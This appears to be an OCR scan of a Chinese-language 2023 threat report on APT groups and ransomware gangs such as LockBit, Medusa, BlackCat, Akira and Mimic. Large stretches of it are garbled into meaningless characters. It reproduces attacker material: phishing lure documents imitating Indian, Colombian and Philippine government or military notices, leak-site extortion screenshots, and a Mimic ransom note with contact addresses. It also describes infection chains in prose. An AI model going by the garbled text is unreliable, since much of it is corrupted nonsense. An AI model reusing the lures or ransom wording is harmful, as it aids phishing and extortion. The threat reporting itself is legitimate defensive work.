AT SRR GRS, ASRBLE S ThaE

Reminder: Enable Macros to view
Premium Recommendations.

Advisory No, 19-TRI023-54-

Government of India:

Mlindstry of Communicationy:

Department of Trlesammunications-

Subject: Android Theeats and Frevention-

A cyber attack cocur of o threat succensfully breaches wecunty comtrole Ev '|ﬁm- shows that

viser anscks are growmg m sophnticance, froquency snd gravicy Ehunnr mving reliance upen

Isteraer places our CEFARAZALORS Bnd isdividual ulers af the ruk In most of the Cyber-amacis, the Cyber

threat acton’ oses spear phishing messages to deliver the mahvare on to the victims’ sman phooe Thiss

we need o pndervand the maolscs of the cyber threat actor and urgestly secure the iniermel conmected
wysterm {xmnen phoses) both sl orgamivations as well a3 the user end o prevent ary breach «

Bome to the very common tactics, techmiques and procedurss adopled by cvber threat acton ta
=, mprcmue the smart phones are as follows

11 Expleibag mebile apphsstion vulserabiliess

Cyber threat asctom ame explogmg the prevailing vulnsrabdsties wm the spplicationy of
orgeneeatens 10 sieal dats, wheeh are meaet only for autheneed sod suthemticated psers Farther, such

vulperable applications ase used for lateral eniry for indentifiing sensitive systems lo casry oul cyber
artacks -

Creation of Dubicus Appa:

Dulicus Apps developed by mabizaus sciofy on Vo themes ke being sent (o nrgeted niers
through WhatsApp and ciber Socual media links

Bl Pl pieze 2T STk i B U5 P SO

WkHEM 2. £5 HIbWB & FEHF, BdEMEH T Performa’ sfeedback. docx. 1nk «
Asigmadated22May23. pdf. Ink fl pessonalpic. png. 1nk Z2AMRHE 7 RAENVIEE B 8%, el
B AN F TR SCHS, H mEPAT . e RS 8 R EGF AT hta AR 7, M JE 3h
Wifii78h . hta A 57 M@ FE RS 2% F8CEERE T I mEsdr, B —NMNERETFZEAN
ReverseRAT (LSRR, 57 5K SHIATIEE, BELINZHFH FHHE B 5 BN
il o
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Tviestbsm Performa
FEDRBOVIFET 0101 TN
Under FE be promsie indigenons Defeece Preduocs
Imsditution Name
Siniion
Halsing Date
Imniiieg Dignitary -
Adddress for communicatiom
Phawe / Mobile
Email

sl vibs @ sl

Product [ Specilications:” | Requirements. | Likely T Any ather
Nume Emplovment of | relevant
| drslived Systems o bnformation

walagically, i fading aan perioa vew did nor work
ce, ool aubiecls fought and clasies haudled dy the Job

.‘..’I]Iﬂhl“ﬂﬂ [Yearaf T Brypamie | Ay other
Tnduction rebrvanl
farmation” |
A majer arhievement @ your work file preforbly i e L3 205 years. -

Do builled powsts o] possiblo)

P ey 5 B A A AR 5 18 S0

2. B2 Kimsuky

2.1 +48

Kimsuky ZIZEERIK B 98¢, 55T 2013 SN ITIER I dr 4 o 2 E B H As e
HASEEZ, WREP . #E. sl BUF. BT RLURCE BEESUE, DIHLEEE B0y T . EH A
A& TR 0 R K GTBGR 535 T BB B2 W, A Thae s B MR a R e . B
RILVK, ZHRA—HAETHRRE, TR 7T 2RI s. 2023 €3 H, i 2 B EHRCr 6 i3k
B2 LG X 85 [ P 1) BB WL AT 30

2. 2 B B4

FEBE IR BT, Bradi 3 A5 DOCM A% 2 PSR, R Dy 2 s [ 92 B P 745 U mh Lo e
FIBS USRI RIS, IR IR T8 AR . SRR B 2t gt B R 5t 105 2k
T4k, F R RS, W RSB AT 8. BRI Tl R AN R B B A
FINEE R ITE ARG T, DAL 22 A ML, 1 55 Jm B BB FH 217 8 3
fif i 449 xRAT AR S FEFP o 1% T H & U4 ¥ QuasarRAT FFIE T B MR SO TR, o] 7 Bh 2t &
SKHUE B oy B A 115584705
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C2fssas

Googler=/mi& Google=ME Googler=&
B ~
—
) 'I:_EFE F&7QuicklLZ = +£fE
FHvbsI = R s iy |
| I
o N, EAEESE | |
Eoesend AT i hve : i
= —_
conf.ps1 1 :
1
Load.ps1 =D : XRATA S, :
fEslins
CasPol.exe
BoHT AT k fineci
RER= A vbsBilA upload real.vbs nps.vbs
H i
iz iz = d
ion.inivbs TS

K. HrdiiRe

3. BUhEHZR APT-37

3. 1+48

APT37 AL NEHEER B M 202K, tFR AN ScarCruft. Reaper. RedEye. RicochetChollima.
ZHR A 2012 FIERE S, Bk BAn R E 2w E M A ILHLZ A A . 2017 45, APT37 HLUK I
d HARu B KBIEA, BEE. PRSI, BT k. Bz Tk, REMBET ST,
2023 4E 7 A4y, i 2 BB AR O R B PR R 5 1R A SV SR I B A

3. 2 B B4

FEIX PRIt , APT37 2R 5 S R T W 0 A IR R 5 A SeA kA7 Bk, — 1 DASE [ 5 ek E 7E
VUH FRIRER) CEEEE S) NE R, HEEE JeongSeongjang 5 W& Ji— 1 NEH /R TEN
JEZE IR 2GS H DI, A EFEE DRI R 0P LN R GEEM B RS2 ) . |
SRR IE T SCRI A R, H X 7 s — i — A

Brai & PR A a bR A 7 20, 1) 32 5 3 4500 — NS A T SU R A 6, TS S0 50MB K
/N, WE T PowerShell x4, 232FH & Wi 77 SIS, fHaAT %44, 1E Temp H 3 MR
WOFHH SRS 5 —AN 44N 230509. bat FIRIA, TZEHA N £ ) api. onedrive. com I % RokRat iZ& %
JETTIEE FEN, SEZFE .
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= #A gHE
L ®WAl: 23 5,260 #).14:00 T17:30
2 B2 MEA 222U F SSED e 13 HENE
(B3 2] fud M, 2 o8 ci30] ot : . d P Rl e
L =50| g7
3 1H (140 14:30)
L] (FF3 b |
| Ty
3|
a9 0 MPebYARE
- X'
&N oj5 FWHAR
L3 alr b ) m—
BEE— IEEXET

P ey 5 B A A AR 5 18 S0

4. Bih¢H 4R BlindEagle

4.1 HvH

BlindEagle (APT-C-36) s&—/MEEfLlokR BN APT 204N, FEW S HAR NS LR A,
PLE RS — S X . %202 H 2018 4R LIk — BEVE IR, Tk Y 32 BA S 'S EL L BURFFLAG . SRl
[T AT T FE P& E B AN, 2023 4 8 H A4y, Fi B BUMM S A Codii 35 1% 20 23U G IR 14
HrE .

4. 2 B EH

FESR BT H, BlindBagle HEME AT AR NI ias, M AR 208 7 —H23hn
FARUIE 2 RE AR o B B — I e 1 s et Bk B s MG e A 2, 59 T
JEFFPAT R A R 44 TS BIAS, IR SBT3, JS BIA ST N AT BdidT sl 25 —Bir B
DLL A, R Kf 3% DLL SCPH 7 A RE A AL 3] . T B)AIAT B9 DLL B2 P76 B I RE IR 55 4% T
B W BEDLL SCAF AT — A4 0 AsyncRAT IR REE IR 1 o 12K 5 75 ZEE T 80105 — BB DLL 2
FERHAEAZIIEH MR GREF T HUT, HA LN 2 EE TR A IC R e SCF . @iz

A7 = ok
#%A%\w Ao
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Cordial saludo,

Estimado (a)

El dia 28 de mayo del 2023 se recibié comunicacién electronica mediante la cual informa que debera participar
en la audiencia de conciliacion extrajudicial para dar respuesta al delito de calumnia, dafios y perjuicios, como
consecuencia de lo anterior, y como se encuentran acreditadas las partes para dar continuidad a la audiencia se
enviod a los apoderados de las partes un correo en buzones autorizados para la realizacion de la audiencia.

Mota: Se adjunta anexo de la copia del oficio remisorio.

<<<<<"ADJIUNTO DE LA COPIA DEL EXPEDIENTE ¥ OFICIO REMISORIO.">>>>

CONTRASENA DEL ARCHIVO: 2525

Atentamente,

Doctor

B e Ol BT A/ R i P U 2 368 k0 ) 4 £

5. BiUhH L Saaiwe

5.1 /48

Saaiwc HLAMGEARN DarkPink, #&—A>EZEFXFF 25 R X BEAT B (6 APT 4128, MKy
A ELAEZE S BUN . SREHSMAER AL, T2 H R L SO, AT A RS 5l .
BHL R BPORILT 2021 48, EAE 2022 SEWE AR S AT FA, BB T BUR @ I A U
2RI TR, KiE RS RS H AR TTOT I . 72 2023 48 8 H, H UM EHR-T Gk T
ZAH L R R B S B .

5. 2 B B4

FEMRIA L FH AT F, Saaiwe HIURRA 7RI EEEAFIO B 7 38, M Dy (0 3 e ke B A
SUCEAR R BUFATEETIA G, FF 2 S i :, BB R 180 3ot Olafitst
Bt AF =S, LAy Ama %S R DLL 27 . MU, Saaiwe 42458 €1
S B e VR PR TS 2, I 1 B SRR R ik S 5 Jm T TR Y, MU DTS2 5 38 AL TP Stk
RGIRA RHM ARG, BRI ARSNGB MEs Mo, SRUBCE 2 1EHE L.
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AFP Vision 2028: A World-class Armed Forces, Source of National Pride

HEADQUARTERS
COMMUNICATIONS ELECTRONICS AND INFORMATION SYSTEMS SERVICE
ARMED FORCES OF THE PHILIPPINES
Camp General Emilio Aguinaldo Quezon City

HCEISS-1 26 July 2023
CONFERENCE NOTICE
AUTHORITY: COMMANDER, CEISSAFP

TO PRESIDE: COL MANUEL VAN C GENSON (GSC) PA
Chief of CEIS Staff

ATTENDEES: Physical: ACCS for Pers, C1/ CSM/Post Unit Civilian
Supervisors/ one (1) representative from Command Offices
Virtual: Field Groups Civilian Supervisors (Via Zoom)

AGENDA/S: 1. Example of Financial Institutions Process in case of Death of
Civ HR members;
2. CEISSAFP Financial Assistance; and
3. Chairperson's Guidance

DATE/TIME: 27 0900 Jun 2023
ATTIRE: Uniform of the day
VENUE: Conference Room and VTC Zeom for Virtual Attendees

(Note: Meeting Credential will be provided to the concerned
attendee/s once obtained)

BY COMMAND OF COMMODORE IMPERIO:
|
GEVELYN G CQRPUZ
LT (SC) PA

AC of CEIS Staff for Pers, C1

AFP Core Values: Honor, Service, Patriotism

M. i

my

AR e S A 2 V3 R ) 4 IS

6. BhZHZ SideWinder

6.1 /48

SideWinder s&—NZ/0 M 2012 kT 45304 T WX 28 B B L 2R, BRIk BT ENFE . 1% APT 4H
U YRR “Wi i ” . T-APT-04. Rattlesnake 1 APT-C-17, RS HIGKMHALA Y —, FEE
MNEAE BT ORI R & Bl . ZAR R ZHOESE PR E . BRI, FE TSR K, WA E
bRATI 2 MBS BB BURFMBHE A RS, 15 2023 4 12 H, I 23K 724 2% 5 e i1 R BUR
(i F A

6. 2 B 44

FEARRB A, Bl R OEER) “ e ir/R BB « RIZE « B RATRE R il iR
PERIELE JEI/RBURHL, DA RN A AR . — Bl BRI R, B R sl s s 2 AR
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ﬂ e R TR A IR B AIASCA . )5 T DR SAA R 25, st i@t HTTP Philt 5 i 55 4 AT
HAE, PR RORIITE S, 2 EE N T R, BT LS RS

W nEG sy
wA sz

Py gien wrwea) weeE |
e,
o s, Tipwoe, St |
i A,
v s, e, wwE! |

e 1 i oy % e fem e,
e ) wmiwwm wor pped s e
g3 i AN WUEN WA A

wA | e ARy FHiFH
1. |0y W 2ese | 19.09 w4 | s B W
|6y we soza | 4y.600 o2 | 'ur',e’ji% e Lhiiicad ettt s
urye, skl
1-1-:
|09 #ie sos0 | 700 WA | mApEE EAE e '_'.Eaf\ir
dtr: shew e vy ST e W R g s S 0T g

it sy, e, e

WUteN 0ok, 10100y, LR0Y00%  § hitpyfwww.opmem.gov.g

. 07 e /R B B AT RS B A T SR

7. BUh¢HZR Patchwork

7.1 M4

Patchwork ZHZA X & BEI B, (IR, APT-Q-36. DroppingElephant, j&—MEEMLEA BV BUN
”“%E’J APT 4, HEFRAAIESLEWE] 2009 4, BAKRIEK . ZALEZE X E ., B3

dNPEEWP X E S, DB ZEF. ). Tl BHFEE . AN ME 5 & m M Eye
ﬁ&%ﬁhofzmﬂﬁuﬂ R T A SR R E X S

7.2 BiHEH

SRR BT A F R, Patchwork 2140 £ iR 145 5 21 HARBLE A 08 (AR SR8 BT
AR Y 1 PDF SCRY, TX AN SCRYSEFR & —AN. Ink MPRGETT 2, B & wos i SO0 3% s PDF 4% 2K,
HoE N T RS HEE AL —BAERER S FIXMAETT A, e T80 SO R 44 18 ) Re A
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BEEF, MIMEGE % N NorthStarC2 M5 1R P, M3 i RE 42 i 3 15 B Ea g 3 BT 1) 2
A5 .

LR RE P HEES

AR CEED 11H300, mSE SR, MR RN ARG R EBIL B, HAREESTE
Pty HBRASD . i W T, U AL B S [ SO s, [HER E LT R R
BRI RS AR TR AR SRS, R R, I ERE, HERY
ook, HEEE. WA Sl SRR

SRt AR T RUARNE, WIS, WE B EURET WRE TR R R S
SR, (RS A Y SR B R b [ ST AR, S R e e, [R5 B0
B, AR SR B T AR R T G 0, IR R AR BRI
fir R a] i, BREIULIRE, EREAALE, REEMkMEL. $HEkk  wmREALHEICNGT TR
HFANE, @O RGFRE, W RERR. o, mREERI R B S, BURS SR
BENRERE, SODIERTL R RTIE DS L N R R RIS s, B L R

At SEE R, AR S ARERI LRI R RIL S S R R R S, FRRR I
BE S R G R T F T T R e R R, IR b DO KR R . e
PR EESS M da e, FE LR, BRMAMR SIS S R L, BILEERS S
FEIP I, BB RIER AR, MRG0 B br i ARms 8, il O, e i il o
b FERERE. PHLESCE IR, BRSNS, Nl R AT A 0 SR R

KA RART] S Bl 7 )36 8 A i

it Y TR
EAEM: 2023120030

K: Patchwork 202375 #6386 1175 15 SRS

V0. BEBM

7E 2023 5, HEVRPAEITE RIS FHAR, R Zscaler BAGHI (2023 4F 4Bk #) &
BAERAEY , EERER P BEEE R LK 37, 75%, #2310 RO E A I T 57, 50%.
(ZsCaler #5#:: zs—threatlabz-ransomware—report—2023)

RPN B IER BRI %, B # I R0t . b TR BN 1 A1 45 22 R R
B Hre RN, WEHHR WS UIEE, B & AR TR 25 E ST,
e ARG A T 3o R AR 1) 05 SO E B R (550, XA BUR B 52 A TR
T30 323 RMEE I SRR R 7 O B, AR AR S2 AU Tt 5 i SR 1 2 R XURS AARARY

2023 4, Lockbit 2L\ T IR M FAFIBS B E, EREVEEN, ZHmAa k%
if LockBit HE My, ZHEMS L)z, Wik eiks. B, el By7. @2 k.
B ARYE BB GAROIRE L B, B AP IBURRRRE, TR 2023 SEN KRBV R B, T e
N XL R FART B Buli TE M KR R .
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(—) Lockbit

1. v48

LockBit i F- HIFIAE 2019 4F T 2E4F, f# F Raas FMVAL ML #Z, 7 LockBit2. 0 f#i [ StealBit
53 B R Syt AT B B B T JE T O R T s 9, B PR AT A2 B ) AL 20 38 R EUE 100GB
5. LockBit3. 0 Wi TP A MEE ), JFHOCKA “WEBR” KRN RVEZES .

2. Wi AHR

LockBit 1% 18 F RDP 55 K 285 i 7 b AT NAR,  J8 I8 R DA R P I T 347 s o 1%
MERFE LEAMSITEORAT, EVHBITMHEPAT TREE D, BEE D8N
LockBitRansom, Jf H.i# iy E Mz 6 & & H ) RE L 1R EFE R Console & K4 <H],

1F 2022 £ 9 H 1T Lockbit EMIF RN AXTATUS EA, MEEIEAL T LockBit3. 0 428 a%.
X—T HRMEE S LockBit 1AM E B AT, W40 SR 2 @it /) 5 i 2 Bie & A 40
BN RE R B OV R REAS 2 B A BT I Bh R Bk A

LockBit3. 0 Azt il ARC BN BRI, fa @ bid 9o hJe . N i so it e g s, SRt RE
Ay BEFAERR LB R A5 RS

3. W E

(1) = 2R ABEUE LockBit $iRHS T

2023 4F 1 A4y, JEE SRMNEUE B R ARG, SUE RIS 4 E bR ke N E . 2 A0
B FHBEE FINF LockBit H4E it & Mk, LockBit [ HZ B EA 8000 £ mid:. HMuEx,
WIRARESE 2 A 9 HZ ATghan 4, o5 B 2 RMBB s ik = AT k. AfEEr, SRt
T AT EPRSw g, HAER TER ZMFTEL E3T B8 & 84 554 .
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UNTIL FILES

1D18H31M47S

PUBLICATION

Deadline: 09 Feb, 2023 03:42:40 UTC

— royalmailgroup.com
B‘gj Royal Mail | Royal Mail Group Ltd
= currently a limited service. For mq

ROQO' MO" Drop Buy postage or book

ALL AVAILABLE DATA WILL BE PUBLISHED !

ational export services continue to be disrupted following a cyber incident. There is
ation please click here. X-Men Special Stamps Pre-order now Track an Item * Click &
a postcode Search addresses and postcodes

UPLOADED: 06 FEB, 2023 12:85 UTC

Bl: LockBit Hods itz k4 5 B 2 S S BUin A e o

5. https://www. freebuf. com/news/356916. html

2) ERBERT, BEALEEMERE 7000 TS

2023 4 7 4y, BRI ESRHEBLAK TechCrunch HESE, 271 EI T INL 0L, #40K0iR Il
B ARBREART, ARG RSTHFE 5% S EMREAK” HSR e, (2
QR S IR HIN . R Lockit SR ARSI ANT, BITEIIN U,
TARSCHCHR, JFEE 1000 T%IEMER . LockBit 467, WUREABUMAMEK, il KA RS
5. LockBit 7R AHSEHEALM KinnaxTechnology TRM), %A N EBALILILNIL . Rit5,
15 RS P 1T S

] UNTIL FILES :

36D23H43M38S

PUBLICATION

Deadline: 06 Aug, 2023 09:16:35 UTC

[no photo) tsme.com
In the case of payment refusal, also will be published points of entry into the network and passwords and
logins company

ALL AVAILABLE DATA WILL BE PUBLISHED !

K. BN LockBit #5 & ARHL I MG

PE: http://www. techweb. com. cn/it/2023-07-01/2929614. shtml
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(3) HA 4L BB EE R M LockBit3. 0 B MEE —K

2023 7 A, A MIBN LockBit £1xF H A4 7 2 HE K 8 Bty , 3 B0ZHE T B4R I B R 48 NUTS
L E R GE, FECEEITERNE S T, Bl I ER R IR . R IR L) 260 K
Wiz ], &b REBBSEMINE, K24 100 GENRYLWE R HEE, PAISEFTENH RS GL#)
R @R, ZERM SRS . HTZEZFEH (Toyota) VREFEHH OMMKA, Toyota
L UF S F A 18 5 52 B 5

-
asee suny thejapantimes
TOKYO 10 a.m)
TOLAY'S PRINT EDITION TITE INDEPENCENT VERCE DY ASSh
NEwWS = OPINION LFE  COMMUNI Ty

I BUSINESS ~ WORLD  REFERENCE

nnnnnnnn

Pro-Russian hackers target Port of Nagoya,
disrupting loading of Toyota parts

f'_*!

K. HASIRARIE 1 R FH

FPE: https://www. ithome. com/0/704/291. htm

(4) AR 100 J73ETT “MBEM:” B4, Lockbit MEZL4HE B L CDW H#B
Bz

2023 4F 10 A, #hzm 44K Lockbit FARNR THAMRS Bk CDW, ZE 8000 J5E il 4,
{HZH L BT R SAT T 100 JTETG. Lockbit Fox, —FMME 200 122 TN HTIA 7 B Al
AT 100 33604, SR EA MR, FERRIR ARk A R FI 4, K AE A
WARR 45 o5 AR T i S, BT MR A B s HIBR 2, Lockbit 78 itk 55 Wb
FRAT 2 AE COWEHR G T, MEREES R R TR E S s AR S SO B AL AR A G

2

0o
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FILES

PUBLISHED

Deadline: 12 Oct, 2023 18:40:21 UTC

[no photo] cdwg.com
data part #2

All the Nasdag-listed corporation was able to offer was $1,100,000 dollars of the requested $80,000,000 dollars

About CDW. CDW Corporation (Nasdag: CDW) is a leading multi-brand provider of i ion technology solutions to business

B: Lockbit ZHZUEH Mt 75 WX wh A Af CDW Hdis

FeJE: https://www. freebuf. com/news/380865. html

(5)LockBit BEHINEMEARKEAT, #F “NRAESBIBRSKA
A BT BERL”

2023 4 10 Ay, & MBIBA Lockbit fERGM B IR RAT A, FEHRMAIICERIINRZEEZ A,
HPF T RENT TR, Y5 EAREES TR AMAERHE . I, Lockbit AT T EAF 6
REFEI S HBER, EHRZIAS AT AMER, Hap SRRk EHR, BERSHHIAE
AT . Lockbit HIBAZRIR, MBAME H— DR A MR HIRANR T8, (HIERPEE AW
YU, T T RS IELE VP A A LockBit ik,

\  wx-underground

5D0T1HO2M10S

PUBLICATION
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K. Lockbit ZHZFEREMRIE R AT A S

FJE: https://www. ithome. com/0/729/055. htm

G6)FPETHEBITEESITE LockBit ZRHF I, BFR KB 31
CitrixBleed JRiA 2

2023 4 11 A4y, W E TR (ICBC) 3 4317 ICBCFS UESEiE H| | % 4H X LockBit M,
FEH > ERRS R, FFERIZES EVIB R T 2B R SR F, BT T
—RYAEREJRTAE. Bi)5 LockBit 12 HZUE Tox (INFIBEHRL) L AFF AN NIR ICBCFS
AT . T, BB AL LockBit 2 fr AREWE N TRIARAT 36 [ 4047, & B A 36 B 43 AT K& b
CitrixNetScaler B4 KR CitrixBleed (CVE-2023-4966) .

NOTICE X

On November 8, 2023, U.S. Eastern Time (November 9, 2023, Beijing Time), ICBC Financial
Services (FS) experienced a ransomware attack that resulted in disruption to certain FS
systems. Immediately upon discovering the incident, ICBC FS disconnected and isolated

impacted systems to contain the incident. ICBC FS has been conducting a thorough
investigation and is progressing its recovery efforts with the support of its professional team
of information security experts. ICBC FS has also reported this incident to law enforcement.
We successfully cleared US Treasury trades executed Wednesday (11/08) and Repo financing
trades done on Thursday (11/09).

ICBC FS's business and email systems operate independently of the Industrial and
Commercial Bank of China Group. The systems of the ICBC Head Office and other domestic
and overseas affiliated institutions were not affected by this incident, nor was the ICBC New

York Branch.

K. FETRRIT (1ICBC) FEE 4T ICBCFS A%

FPE: https://www. ithome. com/0/733/725. htm

(Z) Medusa

1. 4R

fEid KIS, Medusa fENEMBNR SR, M T HAL LR R FRR BV, 1455
R0 IEER, Bx Rk A 2 D HG ORI, HFREHH I RIcE. 2023 4, ZH
MR F W Medusa HEHS 7 H O “TE% 7, FI Ttk E i et 46 SO IBE <5 14 52 75 3 Mol
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2. A

Medusa Ji B E I — MM RE PG IR MR D ATIN S, BEZ M ER RS0 %& 0y AL SR S0P, A3 A
RSA+AES R AN B L, TR I SR G A 0 A P D 2% IE S A, 200 B 1E 2R P M1 22 [ R DL
FEl Py 78 0 i b 8 A R e SR A1

3. WHHEH

(DHEAEM (BBAR) E3 Medusa BIRALRB T

2023 5 2 73, Medusa 12 A SIE I 0 Bodfs it e 0t o 1) 32 35 3 44 b s 1 P A CEE
WA JFREH 40 55 o I UMBR S, s 40 5380 TR BE, SO 1 S I0AT BLSES 1
Ko

@ MEDUSA BLOG ) o

07 13 04 02

Q . - PetroChina Indonesia
skk PotroChing PetroChina Indonesia is a company that operates in the Ol & Energy
industry. It employs 251-500 people and has $25M-$50M of
revenue. The company is headquartered in Jakarta, Jakarta,

Indonesia

@ Feb 15,2023, 06:06:08 PM 27138

K: Medusa ByRMALERTFH L RPN T EAM (HEAT)D

K -

https://thecyberexpress. com/medusa—claims—petrochina-ransomware-attack/

(2) FHARWHNEBRA DR R4S

2023 ££ 11 43, Medusa )2 0 2H 2378 I o Eiodfa Tk st i ) 52 T35 3 44 B b s i 17 =F <
RE5 ], ER AT SCAS 800 773 Tl kM br Mt e £ . F H RIS A FHIESL A Medusa #) &K
BAFHR B, 2 R I R 58 _EAe I 2R ESAUI G Ao O 7 IEB B R, Medusa
BT FHEREEAS, Kb a5 TR RIS ARk %S, B P
ID AR PR IS BRI WS STak . A LR IR R RS

45



IDINC s b 30BN 2R R TR A 7

M Mo Bog X | M Meduta Blog x | 4 v - o x

7 W8 meausa

MEDUSA BLOG o (4]

09 1057 36
@ Toyota Financial

Toyota Motor Corporation is a Japanese multinational

automotive manufacturer headquartered in Toyota City,

Toyota Aichi, Japan. Toyota is one of the largest automobile

Financial manufacturers in the world, producing about 10 million
. vehicles per year. The leaked data is from Toyota Financial

Services lch Y

Services in Germany. Toyota Deutschland GmbH is an
affiliated company held by Toyota Motor Europe (TME) in
Brussels/Belgium and located in K&in (Cologne).

Kl: Medusa B A LUER T H A BN 1 = H ek S5 2 7

SedE: https://www. goupsec. com/news/14934. html

(=) BlackCat

1. M4

BlackCat F 2021 5 11 A & KB &KL, %8 200 5 B R RE B R WIZ T AT HET A RaaS
M AT A, IR “WEBIR 7 WRVEFE, R bad a7 IRAH, o RIEHE
AR SH . B T EG Windows P& F1¥, WIEE BA X LinuxVMwareESXi I HRE

2. Wik HR

BackCat it % fit 1} RDP 55 & KA i 75 30 A SRR I IR BEAT AR . Z B RBAHR a2 1T 28
WA SEELMEAC K B R B0y, SORF 2 FOCPEINE S0k UL K 4 R s i, R RS HARBEF 0L 3l
B, FECRA RSA+AES/ChaCha20 (75 SN E AR ST, AERIRAGHPRIE LT & s

46



IDINC s b 30BN 2R R TR A 7
3. WHFH

(1) EFr3ATE Sk NCR R M. POS HUARSF APl E R

2023 4F 4 Ay, SCATE Sk NCR 2 =) A T8 5 k%5 07 it AlohaP0S V& kKA #l, 21t 2 KA
TR P IEE M. JUHJG NCR X AMEZEFR, v AlohaP0S “F & $ 4k SRR 55 w0 18 52 21 8 R 4K
X . A 22 A N UK I, £E BlackCat/ALPHV $ 28 3 14K B B it i Dox s 687 I i — R i
B IR FEF 7T M RIS A — 4 NCR AR 5 8h &R K AE K R ik X8 BE . BlackCat B
FRETEL T NCR &7 ARAE, HRANUIASSCAT I G M B UE A 2 T AR, B IS AECHE 5 90 3l 1 IR T
NCR [1JMGF, 7] BE 2 Ay BN 7 J8 Rl i R I 52 8 4 oK

@) NCR
.

Aloha Enteprise [NCR]

Sat Apr 15 2023

During four days of silence and removal
of any mention of ransomware on reddit,
NCR representatives went into a chat
room to find out what data had been
stolen. After receiving information that
NCR data had not been stolen, but

Attachments — 1

K. BlackCat %t Wk b & A ) NCR Brdimd (B E )

FE: https://www. secrss. com/articles/53818

(2)BlackCat E#H & T 6&FE AL

2023 4F 11 H 28 H, #hZ&HAF4HZ BlackCat (ALPHV) 4 578+ [E A AL TR I B Tor ik 5% W3k
152 H & g, WA BEERE, AU R K8 KN 41. 96B. BlackCat R ¥z Bt Rk
%5 (RaaS) FMLBESS, £ CHKMGILIRRIZFHBIER, RPN REHANAE AR EAIFA
B 80—-90%MIEE <o LT IR A0 5 1 L BT R L ARATIR ™« WSO S HE S I S5 IR AT v A8
VRIS
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China Petrochemical

Development

11/28/2023, 6:16:43 PM

China Petrochemical Development
Corporation, together with its
subsidiaries, produces and sells
petrochemical intermediates and related

engineering plastics, synthetic resins,
chemical ’iDE" and other derivative
products in Taiwan and internationally,

K: BlackCat K &8 E A (LI IN I 52 3 4 4

5. https://www. anquanke. com/post/id/291568

(P9) Akira/Megazord

1. M4

Akira/Megazord #IZE T 2023 4 3 H I, 786 AMEHMEEIL T Linux fiA, HArcA
ZFZ N8 Z# R, GreenDiamond (FRNL/AF]) . DatawatchSystems (E(#E 2 &]) Fl Boon (B
aCIDE S E RN A O € 7 7)) G R - ke = el [ DA a1 N

2. AR
Jnez 75 2% RSAFAES 456 X SCAF AT NS o SOt FIREAAS FH Rust 15 5 9n 5, Honz 77 R B,

T DAEAE WL curve25519 1[5 it 28 JEXT RN 25 B3E AT sosemanuk X F) 0% BL R 2H & K347 0
2, NG RS RI G434 . powerranges, INSTERRAN U MR — AN BRSO .

3. W B

(1) FRER “Megazord” REZFEEMWVEIE TR T

2023 4F 9 A4y, Ei 2 BGOSR B — ZOET R B R A, AN “Megazord” , & Akira #)
BRI AR, HAh 2 A E TR T curve25519 M 26 JE 5 FR N 25 HyEFN sosemanuk XFR N
FERIEMAARATING, FFREMA—MEENSE021T, DS SBehROR, B a e .
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AR, CAZFROWVEBZHELS, GreenDiamond (MRMVAT]) . DatawatchSystems (F(#E
D FBoson CERAEAT]) A5EIE [ Al 1B b i & AE BB R H 2L E il Xl BN R 4K

P A7 T 2R Al Bl 1Y) 7R 75 X

SJE: http://it. rising. com. cn/anquan/20047. html

(2) AFF 1006B %tiE, HFEREESRAR “HE”

2023 £F 12 Ay, Akira BhZREAFRIKAE R % BN 7 — N8 “2FHE 7, IR HEK
SO H PRV R 3 R A RN 48 R GE b BT T £ 100GB 1S HF BTk BhRAFA L ERE T HFR
TN FIRLE AT, 45T R B AT B A BB 25 AN P Bt itk i 20 F, X g 5 T

e B A

ANNAEEMSCRE, LU NDAL TiH . & RE Rk A B 2%,

O O e ( AKIRA |

2 L1a 1 GB o

n he

B H P A A T i R

FE: https://www. freebuf. com/articles/387640. html
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() Mimic

1. A

Mimic ¥R RILT 2022 £ 6 H, HFF2ZFH TSRS ER T Everything $24LH)
APT, @it Everything32. d11 i) s m] DLSEBISCAHRIER R, SR1G 6 € Ja Bk o0 s 42, A
TR KRS e ST B IR0 o Mimic By s i 7tk EE ) Conti B R UMD SEBL T ) 3L =2 5 o
P4, M CryptoPP FESRAEMIINE SE . AMant, Mimic BYRIFAFE RN T V2 BN TIRES
PRAUENGUR ¢ i 0% o

2. Wik HR

Mimic ¥ & iEid —A BRI T HATRRT , R8T e BB 2 s, a8 BMIBREEF . o
HRET . P KEEEBOC IR T A . IR A B E 3, bR e ras AT iR AR S, Bk
VR PP B E o % R . R A RSA RFIOAES n# H A, EH I W SR BT
Jl. datenklauseO@gmail. com. blue G4 #& 3.

3. W B

BE EDR A TERBEAEE “Minic” $iEBM4HHLIEE

2023 £ 12 A4y, B2 BRI ORIERE 208 “Mimic” KRN R BAE, HAMRIA T
AT TR Everything 9 APT, SRPGHEA A EINE ) H AR SCIF, I T 24 MR Conti
R PAFIRACRS, AR IR EXE N 7 U7 3L S ORI RE, $R S T BRI R AR, IR
E 7N RIS E V. IR, “Mimic” BYZIEHA KM KEG. Bk < P B 8 155
Bl 382 i B (R SO 26 2 SRR Ih Rk . 3 2 EDR W3 Mo il R HEAT T iR A A 2
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~ | IMPORTANT _NOTICE txt -

MHHF) fRIE(E) #830(0) EAE(V) #E(H)

Greetings, -
There was a serious security breach in your systems and this was detected
during our scans.

We encrypt vour data that you see important in your system by processing twice.
As encryption is done as SHA256 and AES256, we would like to remind you that
you can not restore your data with known data recovery methods. If you want to
use data recovery companies or programs on your side, please do not worry about
your actual files,

process and / or make copies of them. Corruption of the original files may
cause lrretrievable damage to vour data.

If you wish, you can contact us via the following communication to resolve this
issue.

YOUR REFERENCE CODE i

IR4beVNncsM8-Z9mwBnn79YzSumzz2csRQ_Nn7Z80ns*datenklause0@gmail. com. blue

datenklauseO@gmail. com |
getbyback@rotonmail. com

B # “Mimic” #hZ LG R #R (S

5. https://mp. weixin. qq. com/s/nEGi2z5c¢GodUAf1PxCtPFw

(78%) Qilin/Agenda

1. M4

BUBEED R AAF ALY, ARy “Agenda “, AZALLIT 2022 SEEIRBORIL, & 2844 £ L7~ R
PRI H 32 o HAMBUBEE L RaaS 70 &€ HIE S A S, TSR MR SO R AT
BORBENE. B SRR, R,

2. Wik HR

Qilin YR AEIZAT 5 AT BLEEE N DLL 175 SORTETIBURR . Me2s 4 3k sl 45 DLk 28 1E 45 5 1) 2
FERAR ST, K RSA+AES L& AN 3, (EIBATI 532 46 5E 0 2 SR AT Xk M 2k

3. B

Y e Yy i G i S S Y TR

2023 4 11 A4, Qilin BB AT AL R BRSO AV T BB R 2 — SE B N it
